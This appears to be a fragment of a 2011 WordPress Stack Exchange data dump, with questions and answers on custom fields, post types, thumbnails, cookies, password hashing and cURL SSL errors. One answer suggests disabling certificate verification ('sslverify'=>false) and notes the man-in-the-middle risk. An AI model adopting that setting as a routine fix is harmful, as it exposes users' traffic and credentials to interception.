//'orderby' =&amp;gt; 'title', &#xA;    'order' =&amp;gt; 'DESC'&#xA;&#xA;    ));&#xA;&#xA;    while (have_posts()) : the_post(); &#xA;&#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;?php if( get_post_meta($post-&amp;gt;ID, 'show_in_home_banner', true) == &quot;yes&quot; ) { ?&amp;gt;&#xA;&#xA;    &amp;lt;li class=&quot;slide&quot;&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;slide-image&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php echo get_page_link($post-&amp;gt;ID) ?&amp;gt;&quot;&amp;gt;&#xA;                  &amp;lt;!-- this is the line outputting '49' and not the image. --&amp;gt;&#xA;            &amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'banner_image', true); ?&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;slide-content&quot;&amp;gt;&#xA;            &amp;lt;h3 class=&quot;slide-header&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_page_link($post-&amp;gt;ID) ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'sub_title', true); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;p class=&quot;slide-title&quot;&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;?php echo the_title(); ?&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/li&amp;gt;&#xA;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&#xA;    &amp;lt;?php endwhile; wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-02T00:46:32.200" LastActivityDate="2011-07-02T00:46:32.200" Title="Custom field for image, not showing image!" Tags="&lt;custom-field&gt;&lt;post-thumbnails&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="21730" PostTypeId="2" ParentId="21726" CreationDate="2011-07-01T17:39:03.497" Score="0" ViewCount="" Body="&lt;p&gt;there was a question very similar to this which as a &lt;a href=&quot;http://wordpress.stackexchange.com/questions/496/can-i-add-a-category-metabox-to-attachment/649#649&quot;&gt;&lt;strong&gt;simple answer&lt;/strong&gt;&lt;/a&gt; which then turned in to a plugin &quot;&lt;a href=&quot;http://suburbia.org.uk/page/projects.html#wos_media_categories&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WOS Media Categories WordPress Plugin&lt;/strong&gt;&lt;/a&gt;&quot;.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-01T17:39:03.497" />
  <row Id="21731" PostTypeId="1" CreationDate="2011-07-01T17:49:38.553" Score="0" ViewCount="39" Body="&lt;p&gt;I'm considering the method I'll use to manage a web site with a couple related blogs that will have all of the same authors and some of the same theme elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, there's MU but I'm thinking that might be too much for what I need and have heard that configuring it on Rackspace CloudSites is not simply.  So, am considering using custom post types.  This would allow me to use share a theme, but customize the look of each post type via it's templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine that I could setup a rewrite rule to send people to the custom posts archive page, so that we people access blog1.mydomain.com they end up seeing all the posts of that type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone think of a reason why this wouldn't work?&lt;/p&gt;&#xA;" OwnerUserId="1156" LastEditorUserId="1156" LastEditorDisplayName="" LastEditDate="2011-07-05T17:26:38.130" LastActivityDate="2011-07-05T17:26:38.130" ClosedDate="2011-07-06T16:21:44.400" Title="Can custom post types be accessible from a different domain?" Tags="&lt;custom-post-types&gt;&lt;domain-mapping&gt;" CommentCount="5" />
  <row Id="21732" PostTypeId="2" ParentId="21693" CreationDate="2011-07-01T18:02:58.020" Score="0" ViewCount="" Body="&lt;p&gt;The current behavior in WordPress is best practice based on the  compatibility of all PHP systems and configurations.  WordPress has always normalized $_GET, $_POST, $_COOKIE, and $_SERVER to be slashed, and expect that it will continue to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to extract a POST or a GET parameter we have to write:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$value = stripslashes_deep($_POST['name']);&lt;/code&gt; or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$value = stripslashes_deep($_GET['name']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-07-01T18:02:58.020" />
  <row Id="21734" PostTypeId="2" ParentId="21705" CreationDate="2011-07-01T19:01:52.950" Score="2" ViewCount="" Body="&lt;p&gt;The reason spammers are creating accounts most of the time is so they can comment regularly on your blog to gain a link to which ever site they are trying to promote. Also they are checking to see if you &quot;allow new user registrations&quot; which opens up a door of exploits they can try in order to inject SQL into your site to add backlinks without your knowledge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are running bots that are designed to go out and gather intelligence by targeting Google searches such as “powered by wordpress” &amp;amp; &quot; inurl:wp-login.php. The bot then gives them an insight on to which websites would be open to attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Zach Browne&#xA;&lt;a href=&quot;http://zachbrowne.com&quot; rel=&quot;nofollow&quot;&gt;http://zachbrowne.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6672" LastActivityDate="2011-07-01T19:01:52.950" />
  <row Id="21735" PostTypeId="2" ParentId="18856" CreationDate="2011-07-01T20:22:56.387" Score="0" ViewCount="" Body="&lt;p&gt;Try removing $post-&gt;ID from the has_post_thumbnail(). Perhaps the $post object isn't referencing your current post.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-07-01T20:22:56.387" />
  <row Id="21736" PostTypeId="1" AcceptedAnswerId="21786" CreationDate="2011-07-01T20:37:29.060" Score="1" ViewCount="32" Body="&lt;p&gt;I'd like to allow my users to send their WordPress login credentials along with their comment, as opposed to having to log in first, and then post their comment. I'm not really sure where to hook into here, and any help would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My basic plan is to get the user's login and pass (and comment), log the user in (maybe during preprocess_comment), then supply the user id etc to the comment object, then let everything run as usual. But I'm wondering if I'm opening myself up to some kind of exploit by doing so. I understand that WordPress has a login form for a reason, and I'm hesitant to log the user in without going through the official form.&lt;/p&gt;&#xA;" OwnerUserId="1127" LastActivityDate="2011-07-02T15:50:57.740" Title="Send along login credentials with comment content" Tags="&lt;hooks&gt;&lt;login&gt;&lt;comment&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="21737" PostTypeId="2" ParentId="21729" CreationDate="2011-07-01T20:52:37.830" Score="0" ViewCount="" Body="&lt;p&gt;It looks like you're using a custom plugin.  Is that the case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway for the line:&lt;br/&gt;&#xA;    &lt;code&gt;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'banner_image', true); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why aren't you using something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/images/&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'banner_image', true); ?&amp;gt;&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another way to debug is to echo the post ID to the screen and see if it is indeed 49.  Let us know what's going on.&lt;/p&gt;&#xA;" OwnerUserId="6541" LastActivityDate="2011-07-01T20:52:37.830" />
  <row Id="21738" PostTypeId="1" AcceptedAnswerId="21741" CreationDate="2011-07-01T21:04:12.573" Score="1" ViewCount="78" Body="&lt;p&gt;When I'm reading a custom type post in the single view, I see that the URL is www.my_site.com/my_custom_post_type/title_of_my_post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to get rid of this ugly /my_custom_post_type/ ?&lt;/p&gt;&#xA;" OwnerUserId="5915" LastActivityDate="2011-07-01T22:23:51.420" Title="Getting rid of /my_custom_post_type/ in the single view URL" Tags="&lt;custom-post-types&gt;&lt;customization&gt;" AnswerCount="1" />
  <row Id="21739" PostTypeId="1" CreationDate="2011-06-27T09:11:29.230" Score="1" ViewCount="57" Body="&lt;p&gt;I am using the wordpress function the_post_thumbnail(); but it seems to behave differently in different places. I have the following code on one page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_post_thumbnail(array('275', '190'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does exactly what it's supposed to, i get a thumbnail exactly 275 x 190 that has been cropped to fit. I then paste this code to a different template and this time the image has been resized to the maximum dimension, either 275 wide if its landscape or 190 if its portrait.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know whats going on?&lt;/p&gt;&#xA;" LastActivityDate="2011-08-31T00:37:07.027" Title="wordpress the_post_thumbnail() not cropping properly" Tags="&lt;php&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="21740" PostTypeId="2" ParentId="21739" CreationDate="2011-07-01T22:04:28.560" Score="2" ViewCount="" Body="&lt;p&gt;Sure - the method of cropping/ resizing the thumbnail is normally determined in the templates functions.php file. Look for something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php set_post_thumbnail_size( $width, $height, $crop ); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The third parameter is the method of cropping, a boolean. Set it to true and it will crop the image exactly, set it to false and it will resize the image close to the dimensions you provide.&lt;/p&gt;&#xA;" LastActivityDate="2011-07-01T22:04:28.560" />
  <row Id="21741" PostTypeId="2" ParentId="21738" CreationDate="2011-07-01T22:23:51.420" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;register_post_type( 'my_custom_post_type', array(&#xA;    'rewrite' =&amp;gt; array( 'with_front' =&amp;gt; false ),&#xA;    // other args&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure you flush your permalinks after changing your code - simply going to Settings &gt; Permalinks is sufficient.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-07-01T22:23:51.420" CommentCount="1" />
  <row Id="21742" PostTypeId="1" CreationDate="2011-07-02T00:34:35.873" Score="1" ViewCount="63" Body="&lt;p&gt;I'm having a problem I've never seen before. In a very new WordPress install, I uploaded a theme I had been working on for a friend's restaurant: &lt;a href=&quot;http://cornerpocketpub.com/&quot; rel=&quot;nofollow&quot;&gt;CornerPocketPub.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem, as you can see, is that the jquery plugins for the homepage (.cycle) and the menu page (.easyAccordion) aren't being recognized as functions in Firebug. Now, I've been looking all around for answers, but I can't seem to get a solution that works for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help, and thank you in advance for help and advice!&lt;/p&gt;&#xA;" OwnerUserId="6674" LastActivityDate="2011-07-02T00:54:51.777" Title=".cycle is not a function" Tags="&lt;functions&gt;&lt;jquery&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="21743" PostTypeId="1" AcceptedAnswerId="21772" CreationDate="2011-07-02T00:37:55.043" Score="0" ViewCount="55" Body="&lt;p&gt;I have my single-property.php showing custom post type 'property', within this page I want to also show the custom post type 'agent' that belongs to the author of property, each author only has one post of custom post type 'agent'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine it needs to go something like this, single-property.php with the query to show custom post type 'property', get author from first query and run second query showing all posts of custom post type 'author' by the same author.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="4090" LastActivityDate="2011-07-02T15:43:31.560" Title="Run second query on page based on author of the first query" Tags="&lt;query-posts&gt;&lt;wp-query&gt;" AnswerCount="1" />
  <row Id="21744" PostTypeId="1" CreationDate="2011-07-02T00:48:52.433" Score="0" ViewCount="21" Body="&lt;p&gt;I currently use both WP Super Cache and the CDN Sync Tool on my blog. In my recent blog post, &lt;a href=&quot;http://loneplacebo.com/10-google-plus-tips-you-should-know-about/&quot; rel=&quot;nofollow&quot;&gt;http://loneplacebo.com/10-google-plus-tips-you-should-know-about/&lt;/a&gt;, all but one of the images actually show up. They should all be delivered from my CDN.&lt;/p&gt;&#xA;" OwnerUserId="5946" LastActivityDate="2011-07-02T00:48:52.433" Title="Some images not appearing in blog post" Tags="&lt;cdn&gt;" CommentCount="1" />
  <row Id="21745" PostTypeId="2" ParentId="21742" CreationDate="2011-07-02T00:54:51.777" Score="4" ViewCount="" Body="&lt;p&gt;I still say this is a &lt;em&gt;jQuery&lt;/em&gt; issue; however, it is important to note that &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script#jQuery_noConflict_wrappers&quot; rel=&quot;nofollow&quot;&gt;WordPress requires no-conflict mode for jQuery&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-02T00:54:51.777" CommentCount="4" />
  <row Id="21746" PostTypeId="1" CreationDate="2011-07-02T02:21:48.200" Score="1" ViewCount="28" Body="&lt;p&gt;I have a WordPress site running 3.1.4. It is a test site and can be found at &lt;a href=&quot;http://96.125.174.43/~powwows/&quot; rel=&quot;nofollow&quot;&gt;http://96.125.174.43/~powwows/&lt;/a&gt; . I'm also running Buddypress, just installed the latest through the WordPress dashboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following problems:-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1) Can't get the content formatting of the original site to be retained on my site. E.g. if one of my feeds is from CNN, the article looks well-formatted with text-wrapping around images, YouTube videos embedded properly. None of that is getting carried over into my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(2) Images/Videos from the original article are not showing up on my site consistently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(3) It seems like FeedWordPress has two modes for Permalinks.&#xA;Mode a- Permalinks point to: &quot;The copy on the original website&quot;&#xA;Mode b- Permalinks point to: &quot;The local copy on this website&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like Mode b, except in this mode, there is no link back to the original article.  So for now, I'm using Mode a&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers/solution would be helpful. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;~jug&#xA;PS: My site is at &lt;a href=&quot;http://96.125.174.43/~powwows/&quot; rel=&quot;nofollow&quot;&gt;http://96.125.174.43/~powwows/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6675" LastActivityDate="2011-07-02T02:21:48.200" Title="FeedWordPress - Display &amp; formatting problems with RSS feeds" Tags="&lt;buddypress&gt;&lt;feedwordpress&gt;" CommentCount="1" />
  <row Id="21747" PostTypeId="1" CreationDate="2011-07-02T02:35:43.303" Score="1" ViewCount="78" Body="&lt;p&gt;I want to add an user as an Author to my blog, so that he can publish posts. But i don't want him to be able to view all the (unapproved) comments in the &lt;em&gt;admin interface&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any code snippet / plugin that can do what i want ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried plugins like &lt;em&gt;Role Scoper&lt;/em&gt; and &lt;em&gt;Members&lt;/em&gt;. Role Scoper is too complicated i don't even know where to start. Members can only edit the basic wordpress access for roles.&lt;/p&gt;&#xA;" OwnerUserId="6676" LastActivityDate="2011-08-15T05:18:54.077" Title="Restrict user role Author from viewing comments in admin interface" Tags="&lt;author&gt;&lt;comment&gt;&lt;authorization&gt;" AnswerCount="4" />
  <row Id="21748" PostTypeId="2" ParentId="18406" CreationDate="2011-07-02T02:45:25.047" Score="1" ViewCount="" Body="&lt;p&gt;Is it possible to reverse the order of the output? I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $vars = array_merge( $vars, array(&#xA;        'meta_key' =&amp;gt; 'tf_events_startdate',&#xA;        'orderby' =&amp;gt; 'meta_value',&#xA;    'order' =&amp;gt; 'DESC'&#xA;    ) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But no luck.&lt;/p&gt;&#xA;" OwnerUserId="6678" LastActivityDate="2011-07-02T02:45:25.047" />
  <row Id="21749" PostTypeId="1" CreationDate="2011-07-02T03:06:55.703" Score="2" ViewCount="75" Body="&lt;p&gt;I've run into a problem concerning wp_remote_get() and the underlying cURL call. On some WordPress installations I see the following SSL error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;httprequest_failed: SSL certificate problem, verify that the CA cert is OK. Details:      error:14090086:SSL routines:SSL3_GETSERVER_CERTIFICATE:certificate verify failed&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my research it looks as if the following should resolve my problem:&#xA;    curl_setopt ($handle , CURLOPT_CAINFO, dirname(&lt;strong&gt;FILE&lt;/strong&gt;).&quot;/cacert.pem&quot;);    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm uncertain what I need to configure on my server so that this error doesn't occur. I found the above line of code set in a different plugin but I'm unsure of the reason why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shepherd&lt;/p&gt;&#xA;" OwnerUserId="6267" LastActivityDate="2011-07-04T19:47:44.383" Title="What is the relationship between cURL, WordPress and cacert.pem?" Tags="&lt;security&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="21750" PostTypeId="2" ParentId="21747" CreationDate="2011-07-02T04:23:48.413" Score="1" ViewCount="" Body="&lt;p&gt;For a user to be able to see the list of other users in wp-admin, he or she needs the &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;capability&lt;/a&gt;  list_users, to be able to edit existing profiles, he or she needs edit_users, to add new ones add_users and to delete old ones delete_users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For managing a site with multiple specific user roles that need to have certain capabilities and not to have others, I highly recommend using a mixture of two plugins:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/adminimize/&quot; rel=&quot;nofollow&quot;&gt;Adminimize&lt;/a&gt; gives you control over what part of the admin interface is shown to what role&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;Members&lt;/a&gt; lets you edit the capabilities of a specific role and add new roles as needed&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-07-02T04:23:48.413" CommentCount="1" />
  <row Id="21751" PostTypeId="1" CreationDate="2011-07-01T21:28:22.857" Score="0" ViewCount="33" Body="&lt;p&gt;I'm building a plugin for WordPress that adds custom values for posts (both new and existing). Some code native to Wordpress seems to be deleting the values in the wp_postmeta table each time I save the post (not publish).  The rows on the wp_postmeta table along with the correct column values, namely: meta_id, meta_key and post_id, still exist when saved again, or even published, except for the meta_value column which is empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I log the queries taking place during this process I found this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT COUNT(*) FROM wp_postmeta WHERE meta_key = 'my_plugin_meta_key_name' AND post_id = 170586&#xA;SELECT meta_id FROM wp_postmeta WHERE meta_key = 'my_plugin_meta_key_name' AND post_id = 170586&#xA;UPDATE `wp_postmeta` SET `meta_value` = '' WHERE `post_id` = 170586 AND `meta_key` = 'my_plugin_meta_key_name'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I imagine WordPress is trying to put these wp_postmeta values into the new post ID that gets created when a draft is saved.  Any ideas why WordPress' UPDATE statement does not have a value for meta_value?&lt;/p&gt;&#xA;" OwnerUserId="6847" LastActivityDate="2011-07-02T04:43:51.863" Title="Post Meta Values Deleted When Saving Post (Not Published)" Tags="&lt;plugins&gt;" />
  <row Id="21752" PostTypeId="1" AcceptedAnswerId="21996" CreationDate="2011-07-02T03:51:30.787" Score="1" ViewCount="120" Body="&lt;p&gt;I am trying to set cookies to re-route returning users to my a specific page within my Wordpress site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like some advice with these 2 things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Where in the Wordpress php files should cookies be checked before loading any content to handle a redirect? Is there a good file this should exist in over others? &lt;/li&gt;&#xA;&lt;li&gt;How do I properly set a cookie within Wordpress? &lt;code&gt;setcookie('cookie_name', 'cookie_value', time()+4000);&lt;/code&gt; doesn't seem to be saving any cookies to my system.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6744" LastActivityDate="2011-07-05T04:33:45.390" Title="Setting custom cookies in Wordpress" Tags="&lt;php&gt;&lt;cookies&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="21753" PostTypeId="1" CreationDate="2011-07-01T20:22:52.913" Score="1" ViewCount="49" Body="&lt;p&gt;My shared hoster is continually disabling my site as it appears there is a run away plugin that is pegging mysql.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In their logs, I'm seeing these:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Wed Jun 29 00:00:33 2011&#xA;# Query_time: 22.923943  Lock_time: 4.941786 Rows_sent: 100  Rows_examined: 808400&#xA;use FOO_wrdp2;&#xA;SELECT * FROM wp_slimex_stats LIMIT 808300, 100&#xA;&#xA;# Wed Jun 29 00:00:38 2011&#xA;# Query_time: 4.485267  Lock_time: 0.000093 Rows_sent: 100  Rows_examined: 808500&#xA;use FOO_wrdp2;&#xA;SELECT * FROM wp_slimex_stats LIMIT 808400, 100&#xA;&#xA;# Wed Jun 29 00:00:39 2011&#xA;# Query_time: 1.409544  Lock_time: 0.023081 Rows_sent: 100  Rows_examined: 808600&#xA;use FOO_wrdp2;&#xA;SELECT * FROM wp_slimex_stats LIMIT 808500, 100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice the &lt;code&gt;wp_slimex_stats&lt;/code&gt; mention and teh large query times. This is the part that's raising red flags for my shared hoster. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_slimex_stats&lt;/code&gt; is indeed a table in my wordpress db but there is no such plugin installed or running on my wordpress blog.  It also doesn't appear to be a part of other plugins I have installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done a web search and can't find much info at all on this plugin but it appears to be a logging plugin based on the columns I see in the mentioned tables (remote_ip, langugage, country, domain, referer, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How in the world do I debug this to track down where the plugin actually is so I can disable it?  &lt;/p&gt;&#xA;" OwnerUserId="6807" LastActivityDate="2011-07-04T12:55:10.980" Title="How to find a run away wordpress plugin causing performance problems" Tags="&lt;plugins&gt;" AnswerCount="2" />
  <row Id="21754" PostTypeId="2" ParentId="21753" CreationDate="2011-07-01T21:38:46.230" Score="2" ViewCount="" Body="&lt;p&gt;Sometimes plugins add tables to your database automatically when you install, but they are not removed when you disable the plugin.  If I were you, I'd open my site in an HTML editor and do a global search for slimex_stats (or $wpdb-&gt;slimex_stats or wp_slimex_stats) to try to find where in your code that SELECT statement is being called.  If your search yields any results, delete the offending code. Also, if you have access to the database, you could just delete or rename the table wp_slimex_stats.  Once you do that, your PHP code in WordPress will start throwing errors indicating where MySQL is trying to run those SELECT statements and failing.  You could then go to your code where the errors are occurring and delete the bad stuff.&lt;/p&gt;&#xA;" OwnerUserId="6847" LastActivityDate="2011-07-01T21:38:46.230" />
  <row Id="21755" PostTypeId="1" CreationDate="2011-07-01T18:36:29.353" Score="2" ViewCount="79" Body="&lt;p&gt;I'm unable to login to my wordpress site v3.1.3 even though I know the password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be extra sure, I directly changed the password for the user account (ID=1) with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE wp_users SET user_pass=&quot;(MD5-hash-of-pwd)&quot; WHERE ID = 1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've verified that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;ID=1 is my user account&lt;/li&gt;&#xA;&lt;li&gt;Triple checked that the MD5 hash is correct for the password I am setting it for&lt;/li&gt;&#xA;&lt;li&gt;Quadrupled checked that my user_login name is the one I'm using&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I then go to my wordpress login and am told that my username and password is incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried using the &quot;forgot password&quot; flow that allows me to reset by email.  I succesfully changed the password using that flow but still can't login.  Oddly enough, I noticed that when I look directly in MySQL, the hash value for is &lt;strong&gt;different&lt;/strong&gt; when I generate it with and online MD5 tool vs. the password reset flow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've verified on the wordpress site that they state they use MD5 for pwd hashes:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Resetting_Your_Password&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Resetting_Your_Password&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's going on?!&lt;/p&gt;&#xA;" OwnerUserId="6807" LastActivityDate="2011-07-02T05:19:21.820" Title="Can't login to wordpress despite changing password to something known directly in MySQL or using &quot;Password Reset by Email&quot; feature" Tags="&lt;untagged&gt;" AnswerCount="1" CommentCount="6" />
  <row Id="21757" PostTypeId="2" ParentId="21755" CreationDate="2011-07-02T05:19:21.820" Score="4" ViewCount="" Body="&lt;p&gt;WordPress does NOT use the MD5 hash for passwords anymore. It uses the PHPass library to generate secure password hashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, WordPress will support MD5 hashed passwords. On the first login of a user with such a password, it will detect that case and change the password entry to be the newer, more secure, PHPass version of the password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, the codex is not wrong. Putting an MD5 password into the DB will work and let you login, due to this backwards compatibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, the password reset by email, if you get the password, can't be mistaken. Perhaps something is wrong with your database itself or you're having caching issues. Try repairing the database tables using phpMyAdmin or similar.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-02T05:19:21.820" />
  <row Id="21759" PostTypeId="2" ParentId="21749" CreationDate="2011-07-02T05:35:16.803" Score="4" ViewCount="" Body="&lt;p&gt;HTTPS isn't all about encryption alone. SSL also uses a process known as certificate verification to prevent host forgery. This is a multi-layered process, but here's the quick overview:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There exist in the world a number of Certificate Authorities (CAs). When you get a certificate for your domain name to allow it to do SSL, generally you buy it from one of these CAs. They digitally &quot;sign&quot; the certificate, verifying that they've checked it or what have you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every web browser comes with a list of CAs (and their cryptographic signature) that that browser trusts. Thus, when you go to an HTTPS URL, the server presents its signed certificate. Your browser performs an operation to verify the signature against the CAs it knows about. If it knows it, and the domains match, then it assumes the domain is valid and it trusts that site. Generally this means it displays the trusted icon or something. If it doesn't match, then it usually presents the viewer with a box saying that it can't verify the certificate and that the user should proceed with caution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, curl is a web browser too. It also verifies certificates in the exact same way. However, curl is a program installed on your web server, and it's probably not up-to-date on all the latest and greatest CAs and revocation lists and such. So when it checks the signature, the check fails because it doesn't know the relevant CAs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fix for this that you're thinking about involves getting the newest cacert.pem file (the CA certificates list) and then telling the curl library where that file is and to use it. This would work fine, if you have the cacert.pem file and you put your code into the wp-config.php file. Every once in a while you may have to update the cacert.pem file to the latest version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other alternative is to tell curl to ignore the verification phase and to just use SSL for encryption. This works well, but means that you'd potentially be vulnerable to a specialized kind of attack, but what they could do depends on what you're using the remote get for. To do this, you can add the sslverify argument to the wp_remote_get call, like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_remote_get('https://whatever',array('sslverify'=&amp;gt;false));&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit to avoid a new &quot;answer&quot;, as my reputation is null and I cannot comment - MeanderingCode&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;In answer to MikeSchinkel's comment/question&lt;/em&gt;: The absence of verifying that the signature on the certificate is from a &quot;trusted&quot; Certificate Authority means that anyone could have created the certificate in order to initiate the encrypted HTTP session, and potentially there is a Man-In-The-Middle, decrypting your traffic, reading or altering it, re-encrypting it, and sending it along in their own session with your intended destination.  Potentially, sensitive information is traveling over the connection; most commonly, authentication credentials.  A MITM would see in plaintext any information sent over the link, and then have your credentials and any other information that was sent either direction.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastEditorUserId="6733" LastEditorDisplayName="" LastEditDate="2011-07-04T19:47:44.383" LastActivityDate="2011-07-04T19:47:44.383" CommentCount="4" />
